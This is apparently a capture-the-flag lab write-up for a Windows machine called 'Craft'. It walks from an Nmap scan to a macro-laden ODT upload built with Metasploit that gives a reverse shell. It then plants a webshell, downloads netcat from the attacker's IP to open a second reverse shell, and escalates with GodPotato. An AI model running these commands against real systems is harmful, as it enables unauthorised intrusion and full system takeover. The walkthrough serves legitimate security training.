Craft
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 4000 192.168.197.169
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-05 23:30 +08
Nmap scan report for 192.168.197.169
Host is up (0.18s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open httpOpenOffice Macros -> Shell
The HTTP site was a Lorem Ipsum website:
If we scroll down, we can see that there is a file upload for our 'resume'.
I tried to upload an image, and this triggered an error:
An ODT file is similar to a Microsoft Word document, which can be created using libreoffice. Seeing that we can only upload ODT files, this machine might have a script opening the files and being able to trigger some macros embedded within the file.
We can use msfconsole to generate this file:
msf6 exploit(multi/misc/openoffice_document_macro) > set LHOST tun0
LHOST => 192.168.45.197
msf6 exploit(multi/misc/openoffice_document_macro) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/openoffice_document_macro) >
[*] Started reverse TCP handler on 192.168.45.197:4444
[*] Using URL: http://192.168.45.197:8080/HugvG5t95RCfjWq
[*] Server started.
[*] Generating our odt file for Apache OpenOffice on Windows (PSH)...
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Basic
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Basic/Standard
[*] Packaging file: Basic/Standard/Module1.xml
[*] Packaging file: Basic/Standard/script-lb.xml
[*] Packaging file: Basic/script-lc.xml
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2/accelerator
[*] Packaging file: Configurations2/accelerator/current.xml
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/META-INF
[*] Packaging file: META-INF/manifest.xml
[*] Packaging directory: /usr/share/metasploit-framework/data/exploits/openoffice_document_macro/Thumbnails
[*] Packaging file: Thumbnails/thumbnail.png
[*] Packaging file: content.xml
[*] Packaging file: manifest.rdf
[*] Packaging file: meta.xml
[*] Packaging file: mimetype
[*] Packaging file: settings.xml
[*] Packaging file: styles.xml
[+] msf.odt stored at /home/kali/.msf4/local/msf.odtAfterwards, we can upload this file to the machine and wait for the script to open it:
[*] 192.168.197.169 openoffice_document_macro - Sending payload
[*] Command shell session 1 opened (192.168.45.197:5555 -> 192.168.197.169:49737) at 2023-07-05 23:39:11 +0800
msf6 exploit(multi/misc/openoffice_document_macro) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windo 192.168.45.197:5555 -> 192.16
ws [Version 10.0.17763.2029] 8.197.169:49737 (192.168.197.
----- 169)
Resume this sesison to drop into our shell:
Privilege Escalation
Apache User Shell
When checking the users present, we can see that there's an apache user:
Directory of C:\Users
07/13/2021 03:35 AM <DIR> .
07/13/2021 03:35 AM <DIR> ..
05/28/2021 03:53 AM <DIR> Administrator
02/17/2023 03:36 PM <DIR> apache
05/28/2021 03:53 AM <DIR> Public
02/17/2023 03:36 PM <DIR> thecybergeekThe next step might be to get a shell as this user. Since there's a website being hosted on the machine, we can start there. I found that we can write to the webroot folder:
Directory of C:\xampp\htdocs
07/13/2021 03:18 AM <DIR> .
07/13/2021 03:18 AM <DIR> ..
07/13/2021 03:18 AM <DIR> assets
07/13/2021 03:18 AM <DIR> css
07/07/2021 10:53 AM 9,635 index.php
07/13/2021 03:18 AM <DIR> js
07/07/2021 09:56 AM 835 upload.php
07/05/2023 08:38 AM <DIR> uploads
2 File(s) 10,470 bytes
6 Dir(s) 10,492,981,248 bytes free
C:\xampp\htdocs>echo hello > hello.txt
echo hello > hello.txtAs such, we can drop a cmd.php webshell within this file and verify that we have RCE as apache:
$ curl http://192.168.197.169/cmd.php?cmd=whoami
craft\apacheWe can then download nc64.exe onto the machine and get a shell as apache:
$ curl -G --data-urlencode 'cmd=powershell -c wget 192.168.45.197/nc64.exe -Outfile C:/Windows/Tasks/nc.exe' http://192.168.197.169/cmd.php
$ curl -G --data-urlencode 'cmd=C:/Windows/Tasks/nc.exe -e cmd.exe 192.168.45.197 21' http://192.168.197.169/cmd.php
SeImpersonatePrivilege
This user has the SeImpersonatePrivilege enabled:
C:\xampp\htdocs>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledWe can use godpotato.exe to exploit this:
C:\Windows\Tasks>.\godpotato.exe -cmd "cmd /c C:\Windows\Tasks\nc.exe -e cmd.exe 192.168.45.197 21"
Rooted!
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